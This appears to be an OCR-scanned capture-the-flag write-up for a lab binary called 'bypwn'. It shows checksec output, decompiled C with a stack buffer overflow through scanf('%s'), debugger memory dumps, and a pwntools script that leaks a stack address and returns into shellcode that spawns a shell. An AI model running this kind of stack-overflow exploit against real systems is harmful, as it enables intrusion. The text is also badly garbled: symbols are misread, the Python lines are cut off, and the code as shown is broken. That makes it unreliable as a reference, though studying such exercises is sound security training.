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$ checksec bypwn

[#] '/mnt/c/Users/lenovo/Desktop/temp/bypwn'’
Arch: amdé6Ud-64-1little
RELRO:
Stack:
NX:
PIE:
RWX:
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char *sub_4007F9()

char s[24]; // [rsp+8h] [rbp-208h] BYREF
char *v2; // [rsp+18h] [rbp-8h]

memset(s, @, Ox20ull);
puts("well you input:");
read(@, =, @x20ull);

vZ2 = strdup(s);

printf(“check it, %s\n", v2);
return v2;
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1| int64 _ fastcall main{__int64 al, char **a2, char **a3)
21{
3| char va4[72]; // [rsp+8h] [rbp-58h] BYREF
4| _ int64 v5; /f [rsp+48h] [rbp-8h]
5
6
7
8

setbuf_@a();

v5 = sub_4007F9(al, al);
puts("EASY PWN PWN PWN~");
9 _ is0c99 scanf("%s", v4);
18| puts("bye~");

11| return @LL;
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prev size status
Ox0 0x290
Ox0 0x30
telescope 0x1075290
«— Ox0
«— 0x31 /* '1' */
«— 0x6161616161616161 ('aaaaszaaa')

«— 0x6262626261616161 ('aaaabbbb')
—» «— 0x0
«— 0x20d41
telescope Ox7fffldel13ded
rbp — 0Ox0
— MoV edi, eax
«— add byte ptr [rax], al
—» «— Ox6e777079622f2e /* './bypwn' */
Ox160000000
«— push rbp
«— push ris
0x9c24275a009e5d95
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from pwn import

context(log level

io process(

io.sendline( (ox20 - 4)

io.recvuntil( )

ub4(io.recv(6).1ljust(8,
(rbp))

rbp ox50

io.recvuntil(

shellcode asm(shellcraft.sh())
shellcode = shellcode.ljust(0x58,

payload = shellcode + p64(stack)

io.sendline(payload)

io.interactive()
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